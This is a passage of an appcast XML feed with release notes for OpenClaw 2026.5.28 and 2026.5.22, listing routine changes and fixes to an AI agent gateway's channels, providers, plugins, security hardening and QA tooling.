<li>Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, runtime-config message actions, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334, #84535, #82492, #83304, #87160)</li>
<li>Mobile and chat surfaces got a broader refresh: the iOS Pro UI, hosted push relay default, realtime Talk tab playback, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682, #88096, #88105) Thanks @ngutman.</li>
<li>Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (#82887)</li>
<li>Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (#87845, #87890, #80775, #84764, #87751, #87794)</li>
<li>CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, heartbeat defaults, OAuth/token lifetimes, and local service startup requests are bounded, agent auth health labels are clearer, legacy <code>api_key</code> auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361, #88133, #83655, #87559, #88088, #85924) Thanks @vincentkoc and @giodl73-repo.</li>
<li>Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, viewer assets, and release-split external plugin packages. (#86699)</li>
<li>Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Status: show active subagent details in status output.</li>
<li>Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.</li>
<li>ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.</li>
<li>iOS: refresh the dev app with Pro Command, Chat, Agents, Settings, hosted push relay defaults, and realtime Talk playback wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367, #88096, #88105) Thanks @Solvely-Colin and @ngutman.</li>
<li>Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, Notte cloud browser CDP setup, and backport targets. (#87313, #63050, #87685) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.</li>
<li>PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (#87670, #87751)</li>
<li>Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (#87845, #87890, #80775, #84764, #87794) Thanks @eleqtrizit and @vincentkoc.</li>
<li>Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.</li>
<li>Plugins: externalize GitHub Copilot and Tokenjuice as official install-on-demand plugins with npm and ClawHub publish metadata.</li>
<li>Workboard: add agent coordination tools for tracking and handing off active agent work.</li>
<li>Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (#85200)</li>
<li>Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (#82823, #87165) Thanks @RomneyDa.</li>
<li>Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (#85572, #85744, #86768)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents: fall back to local config pruning when the optional <code>agents delete</code> Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.</li>
<li>Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.</li>
<li>Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.</li>
<li>Agents/Codex: keep spawned agent cwd/workspace state separated, forward ACP spawn attachments, keep hook context prompt-local, release session locks on timeout abort and runtime teardown without deleting live OpenClaw-owned locks during cleanup, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve rotated compaction session identity, keep compaction-timeout snapshots continuable, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, close native hook relay replacement races, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format <code>skills</code> command output, bind node auto-review to prepared plans, retry Claude CLI transcript probes, and bound compaction/steering retries. (#87218, #86875, #86123, #88129, #87399, #87375, #72574, #87383, #87400, #83022, #87671, #87738, #87747, #87706, #87546, #87541, #81048) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, @sjf, @joshavant, and @benjamin1492.</li>
<li>Codex Supervisor: keep real-home app-server MCP session listing on the loaded state path, bound stored history scans, and close WebSocket probes cleanly.</li>
<li>Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, resolve Gateway message actions against the active runtime config, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, cap Discord/Signal/Zalo channel request and container timeouts, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (#73706, #75670, #87366, #87451, #87465, #87334, #84535, #76262, #83304, #82492, #87581, #77114, #86426, #85529, #87160) Thanks @zeroaltitude, @lukeboyett, @xiaotian, @funmerlin, @joshavant, @eleqtrizit, @heyitsaamir, @amittell, @liorb-mountapps, @masatohoshino, @bladin, and @giodl73-repo.</li>
<li>CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound heartbeat defaults plus Codex, GitHub Copilot, OpenAI, Anthropic, Google, Feishu, LM Studio, MiniMax, Xiaomi TTS, and local-provider OAuth/token/model requests, harden Codex auth probes, label auth health by agent, preserve explicit agentRuntime pins during Codex model migration, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical <code>api_key</code> auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361, #88133, #83655, #87559, #87719, #88088, #85924, #84362) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, @alkor2000, @mmaps, @nxmxbbd, and @vincentkoc.</li>
<li>Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, clear stale chat stream buffers, and evict current plugin-state namespaces at row caps. (#87810, #87833, #75089) Thanks @joshavant and @litang9.</li>
<li>Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 <code>no_proxy</code> entries, preserve empty plugin allowlists, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets. (#87883) Thanks @zhangguiping-xydt.</li>
<li>Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.</li>
<li>Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (#82887)</li>
<li>Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (#87683)</li>
<li>WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (#82492)</li>
<li>Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.</li>
<li>Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (#87476, #87423)</li>
<li>Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (#86611)</li>
<li>Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek <code>reasoning_content</code> replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (#87593, #87493, #80775, #84764) Thanks @eleqtrizit.</li>
<li>Media/images: skip CLI image cache refs when resolving generated images, allow trusted generated HTML attachments, and bound generated video downloads so stale refs and slow providers fail cleanly. (#87523, #87982)</li>
<li>File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.</li>
<li>Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, reuse gateway session and plugin metadata paths, skip unchanged store serialization, patch single-entry session writes, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (#87760)</li>
<li>Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, drop the leftover root Sharp dependency from package manifests after the Rastermill migration, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, QA-Lab credential broker calls, QA Matrix substrate requests, and release scenario logs, and keep release/google live guards current. (#87647, #87477) Thanks @rohitjavvadi and @vincentkoc.</li>
<li>Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, dependency-guard error bodies, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (#87839)</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.5.28/OpenClaw-2026.5.28.zip" length="54750142" type="application/octet-stream" sparkle:edSignature="U4O55uMdPU+OqSx9QR1ApUJ8wg65wxTydzD7iyCn1GHtm1MBK9noEeiA/yoUKkqb/bx0hzi1gNhn+ye19RXnCA=="/>
</item>
<item>
<title>2026.5.27</title>
<pubDate>Thu, 28 May 2026 12:12:19 +0000</pubDate>
@@ -258,284 +322,5 @@
]]></description>
<enclosure url="https://github.com/openclaw/openclaw/releases/download/v2026.5.26/OpenClaw-2026.5.26.zip" length="54484748" type="application/octet-stream" sparkle:edSignature="y4WXG7JT8ktJ+K7YDgllY7u5Z9BSKR/SwGiwEh0gikOJ/SWqwcQd+z2tWa2zgwvCJKWsAUFwJs1ATor880SUBg=="/>
</item>
<item>
<title>2026.5.22</title>
<pubDate>Sun, 24 May 2026 01:41:27 +0000</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>2026052290</sparkle:version>
<sparkle:shortVersionString>2026.5.22</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.5.22</h2>
<h3>Changes</h3>
<ul>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks @NorseGaud, @yudistiraashadi, @huangqian8, @VibhorGautam, @maweibin, @tianxingleo, @IgnacioPro, and @xzcxzcyy-claw.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks @aniruddhaadak80, @leno23, @TomDjerry, @matthewxmurphy, @vincentkoc, and @stablegenius49.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks @deepujain, @Zacxxx, @Jah-yee, @neyric, @usimic, @Renu-Cybe, @BigUncle, and @SeashoreShi.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks @ayesha-aziz123, @dishraters, @hougangdev, and @brandonlipman.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks @Quratulain-bilal, @mbelinky, @Mickey-, @vancece, @xenouzik, @posigit, @surlymochan, @janaka, and @choiking.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks @itskai-dev, @gwh7078, @longstoryscott, @MoeJaberr, and @yuaiccc.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks @BobDu, @alitariksahin, @Jefsky, @musaabhasan, @OmerZeyveli, @leno23, @WuKongAI-CMU, @luoyanglang, and @majin1102.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks @nielskaspers, @cosmopolitan033, @drclaw-iq, @alexgduarte, @zccyman, @chengoak, and @cassthebandit.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks @SebTardif.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (#85283) Thanks @100yenadmin.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (#85302) Thanks @hxy91819.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (#85237) Thanks @amknight.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (#72343) Thanks @fuller-stack-dev.</li>
<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (#84189) Thanks @100menotu001.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (#85182) Thanks @fuller-stack-dev.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (#84693) Thanks @efpiva.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (#84324) Thanks @ai-hpc.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (#80323, refs #80176) Thanks @100yenadmin.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (#80395) Thanks @100yenadmin.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (#80323) Thanks @100yenadmin.</li>
<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (#80323) Thanks @100yenadmin.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (#83872) Thanks @iFiras-Max1.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (#80323, refs #80174) Thanks @100yenadmin.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (#84816) Thanks @sjf.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (#84493) Thanks @frankekn.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (#84773) Thanks @jason-allen-oneal.</li>
<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (#85256, fixes #63819) Thanks @samzong.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (#83255) Thanks @lightcap.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks @Kaspre.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (#85835) Thanks @rendrag-git.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
<li>Checks/Windows: run managed child commands through explicit <code>cmd.exe</code> wrapping instead of Node shell mode with argv, avoiding Node 24 subprocess deprecation warnings during changed checks.</li>
<li>Gateway: omit internal stream-error placeholder entries from agent prompt history so failed assistant turns are not replayed as model-authored text. (#85652) Thanks @anyech.</li>
<li>Sessions: enforce the session write-lock max-hold policy during lock acquisition so long-held locks can be reclaimed before the stale-lock window. (#85764) Thanks @njuboy11.</li>
<li>Models: prune retired Groq, GitHub Copilot, OpenAI, xAI, and old Claude catalog entries, with doctor migration to upgrade existing configs to current provider refs.</li>
<li>Doctor/update: recognize junction-backed source checkouts as git installs by comparing canonical paths before showing package-manager update guidance. Fixes #82215. Thanks @igormf.</li>
<li>Channels: honor <code>/verbose on</code> for tool/progress summaries across direct chats, groups, channels, and forum topics while preserving quiet default behavior. (#85488) Thanks @kurplunkin.</li>
<li>CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (#85032) Thanks @aniruddhaadak80.</li>
<li>Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (#85549) Thanks @roslinmahmud.</li>
<li>Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (#85619) Thanks @ItsOtherMauridian.</li>
<li>Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (#85603) Thanks @SebTardif.</li>
<li>Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (#85682) Thanks @willamhou.</li>
<li>Telegram: send local <code>path</code>/<code>filePath</code> and structured attachment media from <code>sendMessage</code> actions instead of dropping them or sending text-only messages. (#85219) Thanks @keshavbotagent.</li>
<li>Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (#84830) Thanks @giodl73-repo.</li>
<li>Gateway/config: pin relative <code>OPENCLAW_STATE_DIR</code> overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (#52264) Thanks @PerfectPan.</li>
<li>Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute <code>npm.cmd</code> instead of treating it as a binary.</li>
<li>Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (#85631) Thanks @potterdigital.</li>
<li>Secrets: show the irreversible apply warning after interactive <code>secrets configure</code> confirmation so confirmed migrations still get the final safety prompt. (#85638) Thanks @alkor2000.</li>
<li>Agents/CLI output: ignore cumulative Claude <code>stream-json</code> result usage when assistant usage events are present, preventing inflated cache-read accounting. (#85625) Thanks @zhouhe-xydt.</li>
<li>CLI: keep <code>waitForever()</code> alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (#85694) Thanks @m1qaweb.</li>
<li>Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes #85523. (#85615) Thanks @zhouhe-xydt.</li>
<li>CLI/tasks: reject partially numeric <code>openclaw tasks audit --limit</code> values so audit limits must be real positive integers instead of accepting strings like <code>5abc</code>. (#84901) Thanks @jbetala7.</li>
<li>Status/diagnostics: bound deep Docker audit probes so <code>openclaw status --deep</code> reports slow container checks instead of hanging behind unbounded inspection. (#85476) Thanks @giodl73-repo.</li>
<li>Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired <code>context-1m-2025-08-07</code> beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (#45613) Thanks @haoyu-haoyu.</li>
<li>Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including <code>:topic:</code> and <code>:topicId</code> forms for announce delivery. Thanks @etticat.</li>
<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes #83888. (#85425) Thanks @alkor2000.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes #83604. (#85060) Thanks @brokemac79.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes #85070. (#85089) Thanks @brokemac79.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (#85570)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes #81984. (#85586, from #82081) Thanks @0xghost42.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes #85538. Thanks @danpolasek.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (#82263) Thanks @luna-system.</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (#63167) Thanks @sercada.</li>
<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (#82444) Thanks @SebTardif.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (#84775) Thanks @cosmopolitan033.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (#80397, refs #80323) Thanks @100yenadmin.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (#19328) Thanks @CodeReclaimers.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks @amknight.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (#85500)</li>
<li>Restore Control UI gateway token pairing [AI]. (#85459) Thanks @pgondhi987.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks @shakkernerd.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks @shakkernerd.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks @shakkernerd.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (#83794) Thanks @fuller-stack-dev.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (#49769) Thanks @Gcaufy.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes #85157. (#85188) Thanks @TurboTheTurtle.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (#84735) Thanks @safrano9999.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes #85012. (#85090) Thanks @sahilsatralkar.</li>
